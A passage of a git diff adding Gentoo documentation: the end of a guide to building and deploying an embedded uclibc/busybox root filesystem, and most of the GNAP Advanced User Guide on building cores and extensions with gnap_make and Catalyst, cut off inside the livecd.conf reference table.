+# <i>nano -w /embedded_rootfs/etc/inittab</i>
+tty3::respawn:/usr/bin/tail -f /var/log/messages
+tty3::respawn:/bin/tail -f /var/log/messages
+</pre>
+</body>
+</section>
+
+<section>
+<title>Emerge uclibc into the embedded_rootfs.</title>
+<body>
+<p>
+Use the -K option because we don't get the extra files created by the
+build/emerge process into our embedded rootfs which needs to be as 
+small as possible.
+</p>
+<pre caption="">
+# <i>ROOT=/embedded_rootfs emerge -K uclibc</i>
+</pre>
+</body>
+</section>
+
+<section>
+<title>Emerge busybox into the embedded_rootfs.</title>
+<body>
+<p>
+First you must emerge it into your development_rootfs.
+This does not create the symlinks in our development embedded rootfs.
+</p>
+<pre caption="">
+# <i>emerge busybox</i>
+# <i>ROOT=/embedded_rootfs emerge -K busybox</i>
+</pre>
+</body>
+</section>
+
+<section>
+<title>Create the symlinks for busybox in the embedded_rootfs.</title>
+<body>
+<pre caption="">
+# <i>mkdir /embedded_rootfs/proc</i>
+# <i>mount -o bind /proc/ /embedded_rootfs/proc/</i>
+# <i>chroot /embedded_rootfs /bin/busybox --install -s</i>
+# <i>umount /embedded_rootfs/proc</i>
+</pre>
+</body>
+</section>
+
+<section>
+<title>Set time zone in your embedded_rootfs.</title>
+<body>
+<pre caption="">
+# <i>nano -w /embedded_rootfs/etc/TZ</i>
+CST6CDT
+</pre>
+</body>
+</section>
+
+<section>
+<title>Install a boot loader (usually grub or lilo).</title>
+<body>
+<p>
+Once you copy/deploy your embedded_rootfs to your target SBC you will 
+have to run grub on the command line to write to the master boot record
+(MBR).
+For some reason not all of /boot/grub is copied over to the 
+embedded_rootfs, so a extra manual copy step is needed.
+The --nodeps gets rip of the run time need of ncurses.
+</p>
+<pre caption="">
+# <i>emerge --nodeps grub</i>
+# <i>ROOT=/embedded_rootfs emerge -K --nodeps grub</i>
+# <i>cp -R /boot/grub /embedded_rootfs/boot/</i>
+</pre>
+<p>
+Modify your boot configure file.
+The example below is for a gurb, for a boot partition on /dev/hda1 and only
+one partition on the target SBC system.
+</p>
+<pre caption="">
+# <i>nano -w /embedded_rootfs/boot/grub/grub.conf</i>
+default 0
+timeout 10
+splashimage=(hd0,0)/boot/grub/splash.xpm.gz
+
+title=Linux 2.6.x
+root (hd0,0)
+kernel /vmlinuz-2.6.x root=/dev/hda1 vga=792
+</pre>
+</body>
+</section>
+
+<section>
+<title>Set root password for the embedded_rootfs.</title>
+<body>
+<pre caption="">
+# <i>chroot /embedded_rootfs /bin/sh</i>
+# <i>passwd</i>
+# <i>exit</i>
+# <i>rm /embedded_rootfs/etc/passwd-</i>
+</pre>
+</body>
+</section>
+
+<section>
+<title>Modify fstab.</title>
+<body>
+<p>
+Below is mine, yours may vary.
+</p>
+<pre caption="">
+# <i>nano -w /embedded_rootfs/etc/fstab</i>
+/dev/hda1     reiserfs  defaults  0 0
+none/proc     proc      defaults  0 0
+none/sys      sysfs     defaults  0 0
+none/dev/shm  tmpfs     defaults  0 0
+</pre>
+</body>
+</section>
+
+<section>
+<title>Clean up the embedded_rootfs.</title>
+<body>
+<p>
+Need to clean up extra files generated by portage that we don't need.
+</p>
+<pre caption="">
+<i>rm -R /embedded_rootfs/var/db/pkg/*</i>
+<i>rm -R /embedded_rootfs/var/lib/portage/</i>
+</pre>
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Step 4 - Build and install non-system programs to the embedded_rootfs</title>
+<section>
+<body>
+<p>
+Emerge other software you need for you embedded target.
+This is very wildly depending on your needs.
+Also your proprietary application will be done here.
+</p>
+<pre caption="">
+# <i>emerge foo*</i>
+# <i>ROOT=/embedded_rootfs emerge -K foo*</i>
+</pre>
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Step 5 - Build and install a kernel to the embedded_rootfs</title>
+
+<section>
+<title>Install a kernel into embedded_rootfs.</title>
+<body>
+<p>
+First we will emerge it into our development_rootfs, then configure and 
+build it.
+</p>
+<pre caption="emerge kernel, enter menuconfig">
+# <i>emerge vanilla-sources</i>
+# <i>cd /usr/src/</i>
+# <i>cd linux</i>
+# <i>make menuconfig</i>
+</pre>
+<p>
+Configure your kernel for your TARGET SBC here.  I HIGHLY suggest you
+configure the kernel to compile everything into the kernel, and nothing
+as a module.
+</p>
+<pre caption="build and install kernel">
+# <i>make</i>
+# <i>make INSTALL_MOD_PATH=/embedded_rootfs modules_install</i>
+# <i>cp /usr/src/linux/arch/i386/boot/bzImage /embedded_rootfs/boot/vmlinuz-2.6.x</i>
+</pre>
+<p>
+A few notes on compiling your kernel.
+If deploying to a compact flash/DiskOnChip/SD use ext2, as the journaling
+filing systems "write" far to much for a flash device.
+If deploying to a hard drive use a journaling filing system, such as
+ext3 or reiserfs.
+</p>
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Step 6 - Deploy embedded_rootfs to target</title>
+<section>
+<body>
+<p>
+Prepare a Gentoo (or any Linux distro) system on the target SBC using a
+harddrive.  This is known as the target development rootfs.
+We will create a partition (/embedded_rootfs) that will server as our 
+"test" partition to deploy our embedded_rootfs that we generate on our
+development_system.
+</p>
+<table>
+<tr>
+<th>Partition</th>
+<th>Mount Point</th>
+<th>Size</th>
+</tr>
+<tr>
+<ti>/dev/hda1</ti>
+<ti>/embedded_rootfs</ti>
+<ti>1 GB</ti>
+</tr>
+<tr>
+<ti>/dev/hda2</ti>
+<ti>/boot</ti>
+<ti>100 MB</ti>
+</tr>
+<tr>
+<ti>/dev/hda3</ti>
+<ti>swap</ti>
+<ti>(size varies, 512 MB is a good number)</ti>
+</tr>
+<tr>
+<ti>/dev/hda4</ti>
+<ti>/</ti>
+<ti>(what is left, at least 1.5 GB per 2005.0 install guide specs)</ti>
+</tr>
+</table>
+
+<p>
+Copy over your embedded_rootfs from you development system to your target
+system and the directory /embedded_rootfs.  This needs to be done via NFS as
+need to preserve the permissions.
+</p>
+<p>
+The following commands are done from the target development rootfs.
+</p>
+<pre caption="">
+# <i>mount -t reiserfs /dev/hda1 /mnt/embedded_rootfs</i>
+# <i>mount -t nfs\</i>
+# <i>192.168.0.10:/opt/i586-gentoo-uclibc-linux/embedded_rootfs\</i>
+# <i>/mnt/nfs_embedded_rootfs</i>
+# <i>cp -adpR /mnt/nfs_embedded_rootfs/* /mnt/embedded_rootfs</i>
+</pre>
+
+<p>
+Modify your target system's gurb.conf (or lilo.conf) for allow you to boot 
+to the embedded_rootfs partition.
+</p>
+<p>Reboot, and if all goes well you'll be greeted with a login prompt.</p>
+<p>Fin.</p>
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/base/embedded/gnap-advancedguide.xml b/xml/htdocs/proj/en/base/embedded/gnap-advancedguide.xml
new file mode 100644
index 00000000..aca0d2bb
--- /dev/null
+++ b/xml/htdocs/proj/en/base/embedded/gnap-advancedguide.xml
@@ -0,0 +1,968 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/proj/en/base/embedded/gnap-advancedguide.xml">
+<title>Gentoo Network Appliance (GNAP) Advanced User Guide</title>
+<author title="Author">
+  <mail link="koon@gentoo.org">Thierry Carrez</mail>
+</author>
+
+<abstract>
+This document is a guide for GNAP advanced users that want to build
+their own GNAP core and extensions files.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<license/>
+
+<version>1.8.1</version>
+<date>August 30, 2005</date>
+
+<chapter>
+<title>Audience</title>
+<section>
+<body>
+
+<p>
+This guide is for GNAP users that want to go deeper and customize
+what GNAP does even more. If you want other software available than what is
+in the standard GNAP core and extensions, or if you want to make GNAP use
+another kernel or even another Gentoo profile, this guide is for you.
+</p>
+
+<p>
+GNAP is very easy to <uri link="gnap-userguide.xml">use</uri>. But changing
+GNAP to match your specific needs is more complicated. You need to be
+familiar with Gentoo systems, packages and profiles, as well as understand
+the basic concepts of
+<uri link="/proj/en/releng/catalyst/">Gentoo Catalyst</uri>, the tool used
+to create GNAP elements. Building complete system images from scratch also
+takes a lot of time and computing power. You've been warned :)
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Kernel extensions</title>
+<section>
+<body>
+
+<p>
+Replacing the kernel (and modules) used in GNAP is the simplest of the
+advanced tasks. The idea is to use
+<uri link="http://www.gentoo.org/doc/en/genkernel.xml">genkernel</uri>
+to create a <e>minkernpackage</e> (which contains the kernel and initramfs)
+and a <e>modulespackage</e> (which contains the modules) for specific
+kernel sources and configuration. Then you can use <c>gnap_remaster</c> to
+create a new GNAP core file with the new kernel and modules in.
+</p>
+
+</body>
+</section>
+<section>
+<title>Build kernel extensions</title>
+<body>
+
+<p>
+First you should emerge the kernel sources you want to use:
+</p>
+
+<pre caption="Emerge the kernel sources of your choice">
+# emerge --oneshot =gentoo-sources-2.6.11-r11
+</pre>
+
+<p>
+You'll also need to create a temporary directory to hold the modules
+installation:
+</p>
+
+<pre caption="Create a temporary directory for modules">
+# mkdir /home/foo/modules_tmp
+</pre>
+
+<p>
+Then run genkernel with the right options (kernel source location,
+modules temporary directory) to produce a minkernpackage
+and modulespackage:
+</p>
+
+<pre caption="Generate a minkernpackage and modulespackage using genkernel">
+# genkernel --kerneldir=/usr/src/linux-2.6.11-gentoo-r11 --menuconfig \
+  --minkernpackage=/home/foo/kernel.tar.bz2 --modulespackage=modules.tar.bz2 \
+  --no-install --module-prefix=/home/foo/modules_tmp all
+</pre>
+
+<note>
+Alternatively to using <c>--menuconfig</c>, you can specify an existing kernel
+configuration file using the <c>--kernel-config</c> option.
+</note>
+
+<p>
+Finally you can safely remove the modules temporary directory:
+</p>
+
+<pre caption="Remove the modules temporary directory">
+# rm -rf /home/foo/modules_tmp
+</pre>
+
+</body>
+</section>
+<section>
+<title>Remastering a GNAP core with a kernel extension</title>
+<body>
+
+<p>
+Once you have a minkernpackage and/or a modulespackage, you can easily use
+<c>gnap_remaster</c> to create a GNAP core file where the kernel and/or modules
+you built replace the original ones. This is done through the use of the
+<c>-k</c> (for minkernpackages) and <c>-m</c> (for modulespackages) options:
+</p>
+
+<pre caption="Create a GNAP core with new kernel and modules">
+# gnap_remaster -k kernel.tar.bz2 -m modules.tar.bz2 -o mynewcore.tar
+</pre>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Introduction to gnap_make</title>
+<section>
+<title>How it works</title>
+<body>
+
+<p>
+Creating new GNAP elements is done through the use of the <c>gnap_make</c>
+script, which is a high-level wrapper for <c>catalyst</c> calls. Catalyst
+is the powerful tool used to automate the building of installation
+tarballs (the stage files) and LiveCDs constituting a Gentoo release.
+Being familiar with how Catalyst works will help you understand how
+<c>gnap_make</c> works.
+</p>
+
+<p>
+The <c>gnap_make</c> script takes a GNAP seed stage tarball and a specs
+directory or .tar.bz2 file (containing build directives), and can produce
+new GNAP core files, GNAP basefs files and extensions:
+</p>
+
+<figure link="gnap_make.png" short="gnap_make principle"
+        caption="How gnap_make works"/>
+
+</body>
+</section>
+<section>
+<title>The gnap_make stages and the stage seed</title>
+<body>
+
+<p>
+The <c>gnap_make</c> script goes through several steps in order to complete
+building elements. Some of those steps correspond to Catalyst stages, but
+others are purely GNAP-specific stages.
+</p>
+
+<pre caption="The gnap_make stages">
+seed stage file -> <i>stage3</i> -> <i>livecd-stage1</i> -> <i>livecd-stage2</i> -> <i>tarball</i> -> GNAP Core and basefs files
+stage3 stage file -> <i>extensions</i> -> extension files
+</pre>
+
+<p>
+If <c>stage3</c> completed but <c>livecd-stage1</c> failed, you can restart at
+<c>livecd-stage1</c> and just execute the remaining stages.
+</p>
+
+<p>
+In all cases you need a seed stage file. You can download an official
+uclibc-hardened stage2 tarball from the latest Gentoo release. Alternatively,
+GNAP provides a stage3 stage file that can be used for building GNAP Core
+and basefs files, but also extensions. If you run both the <c>stage3</c> and
+the <c>extensions</c> steps in the same <c>gnap_make</c> run, GNAP will use
+your <c>stage3</c> build results to serve as a seed stage for the
+<c>extensions</c> step.
+</p>
+
+</body>
+</section>
+<section>
+<title>Prerequisites</title>
+<body>
+
+<p>
+You'll need root rights to run <c>gnap_make</c>, but also specific features
+enabled in your host system kernel, so that <c>gnap_make</c> can play with
+virtual filesystems. Your host kernel will need (builtin or as modules):
+</p>
+
+<ul>
+<li>Support for loopback devices (CONFIG_BLK_DEV_LOOP)</li>
+<li>Support for ISO9660 filesystems (CONFIG_ISO9660_FS)</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Installing the GNAP development package</title>
+<body>
+
+<p>
+The GNAP development package is now available through Portage:
+</p>
+
+<pre caption="GNAP development package installation">
+# emerge gnap-dev
+</pre>
+
+<warn>
+gnap-dev might only be available in "~x86". Adjust your
+<path>/etc/portage/package.keywords</path> file if needed.
+</warn>
+
+<note>
+This will fetch a reduced portage snapshot and the GNAP seed stage3 file
+(which is ~41Mb large). You can set the "minimal" USE flag if you don't want
+to download those files, but only install the GNAP development utilities.
+</note>
+
+</body>
+</section>
+<section>
+<title>The specs directory</title>
+<body>
+
+<p>
+The <e>specs directory</e> is a directory or .tar.bz2 file containing several
+files describing how GNAP should be built. After installation of gnap-dev,
+the reference specs directory used to build the current GNAP core is
+available at <path>/usr/lib/gnap/gnap-specs.tar.bz2</path>.
+</p>
+
+<p>
+The specs directory contains some files that will be used as part of Catalyst
+specfiles (<e>packages.conf</e> will be injected in livecd-stage1 specfile,
+<e>livecd.conf</e> in livecd-stage2 specfile), but also GNAP-specific files and
+directories.
+</p>
+
+<p>
+You should unpack the reference specs directory to make your changes:
+</p>
+
+<pre caption="Creating your own specs directory from the reference specs">
+$ mkdir myspecs
+$ tar jxvf /usr/lib/gnap/gnap-specs.tar.bz2 -C myspecs
+</pre>
+
+</body>
+</section>
+<section>
+<title>The portage snapshot</title>
+<body>
+
+<p>
+The portage snapshot is the <path>.tar.bz2</path> file containing the Portage
+tree to use to build the GNAP core packages and/or extensions.
+</p>
+
+<p>
+Since changes to the Portage tree can result in GNAP incompabilities, the
+GNAP development package provides a reduced Portage snapshot file containing
+everything needed to rebuild the current GNAP core (but not more !). It can
+serve as a safe base upon which to build your own Portage tree snapshot
+(by adding new files). You will find it installed as
+<path>/usr/lib/gnap/gnap-portagesnapshot.tar.bz2</path>.
+</p>
+
+<p>
+Alternatively, if you're brave and don't fear compilation failures and
+unexpected side-effects, you can build your own snapshot file from your
+Portage tree, or download a complete one from one of the
+<uri link="http://www.gentoo.org/main/en/mirrors.xml">Gentoo mirrors</uri>
+(look for the <path>snapshots</path> subdirectory).
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Building your own extensions</title>
+<section>
+<title>How extension building works</title>
+<body>
+
+<p>
+An extension is a compressed tarball, containing one or more packages,
+bringing extra functionality to a GNAP system. You must tell <c>gnap_make</c>
+what those packages are, and with which USE flags to build them.
+<c>gnap_make</c> will then pull all required dependencies, build everything
+and make a single tarball out of them all.
+</p>
+
+<p>
+One of GNAP challenges is to stay the smallest possible, and packages usually
+bring in lots of unnecessary doc or example files, and you might not need all
+the binary files... One of your jobs as extension designer is to determine
+what can be safely removed from the extension tarball after build and tell it
+to <c>gnap_make</c>, which will do the cleanup automatically at the end of the
+build.
+</p>
+
+<p>
+You will need to provide a Portage snapshot containing all necessary packages,
+or specify a Portage overlay directory that contains everything needed to
+build your extensions. It may not be easy to determine what are the
+packages you need to add to your snapshot, and therefore it might be easier
+to go with a complete Portage snapshot. Just remember that using a Portage
+snapshot different from the one used to build the GNAP core and seed stage3
+file might bring its own problems (pull extra dependencies for example).
+</p>
+
+<note>
+Tip: Do a first build with a complete snapshot and look in the log files (or
+Catalyst temporary directories) to find the list of packages needed in the
+build. Then create a new Portage snapshot (or a Portage overlay directory)
+containing the extra required ebuilds. Finally, rebuild your extension with
+that new Portage.
+</note>
+
+</body>
+</section>
+<section>
+<title>The extensions.conf specfile</title>
+<body>
+
+<p>
+The <e>extensions.conf</e> file in your specs directory is the place where
+you configure what extensions must be built during the <c>extensions</c> stage,
+and what must be done for each separate extension to build. The following
+<e>extensions.conf</e> file, for example, specifies to build two
+extensions, one called <e>vi</e> with the elvis vi-clone, and one called
+<e>squid</e> with everything needed to use squid and squidguard:
+</p>
+
+<pre caption="Example extensions.conf file">
+extensions: vi squid
+
+vi/packlist: elvis
+vi/cleanup: /usr/share /usr/bin/elvfmt
+
+squid/packlist: squid squidguard
+squid/useflags: zero-penalty-hit
+squid/cleanup: /usr/share
+</pre>
+
+<note>
+An <c>extensions</c> stage run is in fact several <c>grp</c> Catalyst stages,
+one for each extension you specify.
+</note>
+
+</body>
+</section>
+<section>
+<title>Build extensions using gnap_make</title>
+<body>
+
+<p>
+Once the <e>extensions.conf</e> file and portage snapshot to use are
+ready, you should use <c>gnap_make</c> to call the <c>extensions</c> build
+stage on your modified specs directory (as root):
+</p>
+
+<pre caption="Building specified GNAP extensions">
+# gnap_make -t extensions -p myportage.tar.bz2 -e myspecs
+</pre>
+
+<p>
+When you run the command, you'll get the following message:
+</p>
+
+<pre caption="Warning message when you run the extensions stage only">
+ * The extensions target was selected without the stage3 target.
+ * Should I use the seed stage as stage3 result ? [N]:
+</pre>
+
+<p>
+In complete builds, <c>gnap_make</c> uses the results of the <c>stage3</c> step
+as a seed stage for the <c>extensions</c> step. If you run the
+<c>extensions</c> step alone, <c>gnap_make</c> proposes to use the GNAP
+seed stage3 file instead. You should answer "Y" to that question.
+</p>
+
+<p>
+By default, this will timestamp your build with the current date. To use
+another timestamp, use the <c>-v</c> option:
+</p>
+
+<pre caption="Forcing a '2005A' timestamp">
+# gnap_make -t extensions -p myportage.tar.bz2 -e myspecs -v 2005A
+</pre>
+
+<p>
+If you don't specify the <c>-p</c> option, <c>gnap_make</c> will use the
+reduced Portage snapshot provided in the gnap-dev package. In all cases, you
+can use the <c>-o</c> option to specify a Portage overlay directory to use:
+</p>
+
+<pre caption="Using the reduced Portage snapshot and an overlay directory">
+# gnap_make -t extensions -o myportageoverlay/ -e myspecs
+</pre>
+
+<p>
+Both commands should build two files: a <path>gnapext_vi-YYYYMMDD.tbz2</path>
+file containing the <e>vi</e> extension and a
+<path>gnapext_squid-YYYYMMDD.tbz2</path> file for the <e>squid</e> one.
+</p>
+
+</body>
+</section>
+<section>
+<title>Use your own extensions with gnap_remaster</title>
+<body>
+
+<p>
+To use home-made extensions with <c>gnap_remaster</c>, you will need to tell
+it in which directory the extensions files can be found (by default it will
+look into the <path>/usr/lib/gnap/extensions</path> directory), and the
+names of the extensions to use. For example, if the extensions can be
+found in the <path>./extensions</path> directory:
+</p>
+
+<pre caption="Make a gnapcore.tar including the two home-made extensions">
+# gnap_remaster -d ./extensions -e vi -e squid -o gnapcore.tar
+</pre>
+
+<warn>
+Multiple extensions may conflict with each other (especially if built with
+different Portage snapshots). Testing of the resulting
+GNAP Core file is necessary to ensure everything is working properly.
+</warn>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Using gnap_make to produce GNAP elements</title>
+<section>
+<title>Rebuilding the current GNAP release</title>
+<body>
+
+<p>
+You can easily use <c>gnap_make</c> to run all stages, using the reference
+specs directory and the provided reduced Portage snapshot:
+</p>
+
+<pre caption="Rebuilding the GNAP Release">
+# gnap_make -t all
+</pre>
+
+<note>
+By default, it will use the seed stage at
+<path>/usr/lib/gnap/gnap-stage3seed.tar.bz2</path>, as installed by the ebuild.
+You can use the <c>-s</c> option to change that default location.
+</note>
+
+<p>
+This will take a <e>very</e> long time to complete, and should produce
+nice new GNAP elements (core file, basefs file and extension files)
+with a version stamp based on current date.
+</p>
+
+<impo>
+You should read the <c>gnap_make</c> man page for information on all the
+options.
+</impo>
+
+</body>
+</section>
+<section>
+<title>In case of failure: debugging tips</title>
+<body>
+
+<p>
+When the build fails, you should read your build logfiles. The
+<path>.out</path> log contains standard output from the <c>catalyst</c>
+commands, while the file <path>.err</path> log contains their standard error.
+By looking at the last hundred lines, you should be able to tell what's wrong.
+</p>
+
+<p>
+Usually the build fails because a package fails to compile. It's quite easy
+to introduce changes into an ebuild that will break existing uclibc
+compatibility, so that's something that frequently happens when working on
+a Portage snapshot different than the reduced Portage snapshot provided
+with GNAP.
+</p>
+
+<p>
+The Catalyst temporary directories (usually in <path>/var/tmp/catalyst</path>)
+contain the builds results and work directories that can be useful in
+determining what happened. You can for example chroot into the work
+directory corresponding to the stage that failed and try to see why a
+specific compilation failed by running the <c>emerge</c> command in it:
+</p>
+
+<pre caption="Debugging by chrooting into Catalyst tmp directories">
+# chroot /var/tmp/catalyst/tmp/gnap/stage3-x86-20050802 /bin/bash
+# emerge -a packagefailing
+</pre>
+
+<p>
+If you just want to re-run some final stages, you might
+want to specify which stages <c>gnap_make</c> should call. You can do this
+by providing the GNAP version timestamp to reuse (<c>-v</c>) and the stage
+names you want to run (<c>stage3</c>, <c>livecd-stage1</c>,
+<c>livecd-stage2</c>, <c>tarball</c> and <c>extensions</c>)
+as <c>-t</c> parameters:
+</p>
+
+<pre caption="Calling only two stages of a 20041012 GNAP build">
+# gnap_make -v 20041012 -t livecd-stage2 -t tarball
+</pre>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>To infinity, and beyond: Changing your GNAP core</title>
+<section>
+<body>
+
+<p>
+Rebuilding the already-provided GNAP core with the reference specs directory
+and reduced portage snapshot file is not very useful, since you should end up
+with the exact same GNAP elements as the official release ones. Here is how
+you can change things to go further.
+</p>
+
+</body>
+</section>
+<section>
+<title>Changing Portage snapshot and configuration</title>
+<body>
+
+<p>
+You can change the Portage tree contents and the Portage configuration files.
+This is useful to include new or masked versions of packages.
+</p>
+
+<p>
+We saw in the previous chapters how to specify alternate Portage snapshot
+files and Portage overlay directories, by using the <c>-p</c> and <c>-o</c>
+options in <c>gnap_make</c>. In the <path>portage_confdir/</path> subdirectory
+of your specs directory you can change the Portage configuration files usually
+found in <path>/etc/portage</path>, including <e>package.keywords</e> (to
+enable ~x86 masked packages) and <e>package.mask</e> (to mask specific
+versions of packages).
+</p>
+
+<impo>
+You can't use a <e>package.use</e> file in <path>portage_confdir/</path> to
+change the USE flags used when building packages. The system packages (built
+during the <c>stage3</c> step) use the default USE flags from the profile.
+The <c>livecd-stage1</c> packages use directives from <e>packages.conf</e>.
+</impo>
+
+</body>
+</section>
+<section>
+<title>Adding Kernel-depending packages</title>
+<body>
+
+<p>
+Some packages in the Gentoo tree rely on sources corresponding to the target
+kernel to compile, for example the <e>pcmcia-cs</e> package. Such packages
+will fail if you try to build them as extensions with errors like
+"/usr/src/linux directory not found". The only way to workaround this is to
+specify those packages in the livecd.conf specs file and run the
+<c>livecd-stage2</c> step in order to build them in the GNAP core directly.
+</p>
+
+<warn>
+These packages will most likely fail if you remaster the resulting GNAP core
+file with a kernel extension containing a different kernel version than the one
+used to build the kernel-depending package.
+</warn>
+
+<p>
+To build <e>pcmcia-cs</e>, you should add the following line to the livecd.conf
+file:
+</p>
+
+<pre caption="Adding kernel-source depending packages">
+boot/kernel/gentoo/packages: pcmcia-cs
+</pre>
+
+<p>
+During the <c>livecd-stage2</c> step, once the kernel is compiled,
+<c>catalyst</c> will emerge these kernel-depending packages.
+</p>
+
+</body>
+</section>
+<section>
+<title>Changing the Kernel</title>
+<body>
+
+<p>
+Rather than using kernel extensions, you can build the kernel you want
+directly in. To that effect, you should modify the KERNEL_SOURCES option in
+the <e>common.conf</e> specs file to point to the right sources name and fill
+the <e>kernel.config</e> specs file with the kernel configuration to use.
+</p>
+
+</body>
+</section>
+<section>
+<title>Changing installed packages and startup services</title>
+<body>
+
+<p>
+Rather than using the extensions system, you can also build the packages you
+want installed on the GNAP system directly in. To achieve that result, you
+should edit <e>packages.conf</e> specs file and add names to the
+<e>livecd/packages:</e> directive.
+</p>
+
+<p>
+You can set the (common) USE flags you want to use while building the packages
+by setting the appropriate <e>livecd/use:</e> value in <e>packages.conf</e>.
+</p>
+
+<note>
+System packages built during <c>stage3</c> use the default USE flags from the
+profile. If you want them to use other USE flags, a simple solution is to
+rebuild them during the <c>livecd-stage1</c> step by readding them to
+<e>packages.conf</e>, and set the appropriate USE flags in <e>livecd/use:</e>.
+</note>
+
+<p>
+You may want to change the services started by default, this is done by
+modifying the <e>livecd/rcadd:</e> and <e>livecd/rcdel:</e> directives in the
+<e>livecd.conf</e> specs file.
+</p>
+
+<p>
+When emerge installs a package, it pulls all the packages required as build
+dependencies. You may not need them on the resulting system. The
+<e>livecd.conf</e> specs file contains a <e>livecd/unmerge:</e> directive
+listing the packages that should be removed before the filesystem is
+finalized. Remember to keep GNAP small, so make use of those features.
+</p>
+
+</body>
+</section>
+<section>
+<title>Changing filesystem contents</title>
+<body>
+
+<p>
+It is possible to add or remove arbitrary files on the GNAP filesystem,
+bypassing the ebuild system for a more precise control of what's present on
+the GNAP target system.
+</p>
+
+<p>
+The contents of the <path>root_overlay/</path> specs subdirectory are
+copied to the resulting filesystem, without any restriction on directories
+you can write to. This is useful to add arbitrary files to the system.
+</p>
+
+<p>
+The <e>livecd.conf</e> specs file contains filesystem cleanup rules that you
+can use to get rid of slack installed on your system. The <c>livecd/empty:</c>
+directive lists directories that should be emptied, while the
+<c>livecd/rm:</c> directive lists elements to remove.
+</p>
+
+<p>
+If you have to do more precise changes to the filesystem, you can modify the
+fsscript script located in your specs directory. This script is executed on
+the resulting filesystem and can update its contents.
+</p>
+
+</body>
+</section>
+<section>
+<title>Changing build profile</title>
+<body>
+
+<p>
+The compilation flags used to build GNAP can be changed by editing the
+CFLAGS and CXXFLAGS options in the <e>common.conf</e> specs file.
+</p>
+
+<p>
+If you feel even more brave, you can try to change the Gentoo profile used
+to build the GNAP elements (by default, an <e>x86</e> subarch with
+<e>uclibc/x86/hardened</e> profile). This is done by editing the
+the SUBARCH, PROFILE and CHOST options in <e>common.conf</e>.
+</p>
+
+</body>
+</section>
+<section>
+<title>I want more !</title>
+<body>
+
+<p>
+If you've gone that far in changing GNAP and want more, you should probably
+use directly <uri link="/proj/en/releng/catalyst/">Catalyst</uri>, which is
+much more generic and powerful than GNAP is. <c>gnap_make</c> is just a shell
+wrapper around <c>catalyst</c> to make the basic tasks a little easier, and
+simplification comes with a price you pay in flexibility.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Specs directory reference</title>
+<section>
+<title>common.conf</title>
+<body>
+
+<p>
+This file contains global directives for the GNAP build. This file is
+sourced by the <c>gnap_make</c> bash script to initialize environment
+variables.
+</p>
+
+<table>
+<tr>
+ <th>Parameter</th>
+ <th>Value</th>
+ <th>Example</th>
+</tr>
+<tr>
+ <ti>SUBARCH</ti>
+ <ti>The sub-architecture for the build. It will be used as the value for
+ the <e>subarch:</e> directive in all Catalyst calls.</ti>
+ <ti>SUBARCH="x86"</ti>
+</tr>
+<tr>
+ <ti>PROFILE</ti>
+ <ti>Location of the cascaded Gentoo profile to use in the build. It will be
+ used as the value for the <e>profile:</e> directive in all Catalyst
+ calls.</ti>
+ <ti>PROFILE="uclibc/x86/hardened"</ti>
+</tr>
+<tr>
+ <ti>CHOST</ti>
+ <ti>CHOST environment variable setting used during the build.</ti>
+ <ti>CHOST="i386-gentoo-linux-uclibc"</ti>
+</tr>
+<tr>
+ <ti>CFLAGS</ti>
+ <ti>CFLAGS environment variable setting used during the build.</ti>
+ <ti>CFLAGS="-Os -pipe"</ti>
+</tr>
+<tr>
+ <ti>CXXFLAGS</ti>
+ <ti>CXXFLAGS environment variable setting used during the build.</ti>
+ <ti>CXXFLAGS="${CFLAGS}"</ti>
+</tr>
+<tr>
+ <ti>KERNEL_SOURCES</ti>
+ <ti>Specification of the kernel sources to use in the GNAP build. It will be
+ used to set the <e>boot/kernel/gentoo/sources:</e> directive in the
+ Catalyst <c>livecd-stage2</c> call. It can define a specific source version,
+ like "sys-kernel/hardened-sources-2.6.12-r4".</ti>
+ <ti>KERNEL_SOURCES="sys-kernel/hardened-sources"</ti>
+</tr>
+<tr>
+ <ti>DISTCC_HOSTS</ti>
+ <ti>List of IP addresses that can be used as distcc build slaves. Those
+ slaves must run uclibc-powered instances of gcc so you probably can't use
+ your regular build hosts for this task. You can download LiveCDs to use as
+ uclibc-compatible build hosts 
+ <uri link="http://sourceforge.net/projects/distcc-livecd/">here</uri>.
+ To enable this, you need to set the "distcc" option in your
+ <path>/etc/catalyst/catalyst.conf</path>.</ti>
+ <ti>DISTCC_HOSTS="192.68.0.12 192.68.0.13"</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>packages.conf</title>
+<body>
+
+<p>
+This file contains directives that will be included in the livecd-stage1
+Catalyst specfile. It is used in GNAP to list the packages to add to the
+minimal stage3 system, and the USE flags to use while building them.
+</p>
+
+<table>
+<tr>
+ <th>Parameter</th>
+ <th>Value</th>
+</tr>
+<tr>
+ <ti>livecd/use</ti>
+ <ti>USE flags to set while building the packages.</ti>
+</tr>
+<tr>
+ <ti>livecd/packages</ti>
+ <ti>List of the Gentoo packages to build. This will also pull any needed
+ dependency.</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>livecd.conf</title>
+<body>
+
+<p>
+This file contains directives that will be included in the livecd-stage2
+Catalyst specfile. It is used in GNAP to list kernel-depending packages,
+packages to unmerge, cleanup rules and services to start by default.
+</p>
+
+<table>
+<tr>
+ <th>Parameter</th>
+ <th>Value</th>
+</tr>
+<tr>
+ <ti>boot/kernel/gentoo/packages</ti>
+ <ti>List of kernel-dependent packages to emerge after kernel build.</ti>
+</tr>
+<tr>
+ <ti>livecd/unmerge</ti>
+ <ti>List of packages to remove from the system.</ti>
+</tr>
+<tr>
+ <ti>livecd/empty</ti>
+ <ti>List of directories to empty (but keep) in the resulting filesystem.</ti>
+</tr>
+<tr>
+ <ti>livecd/rm</ti>
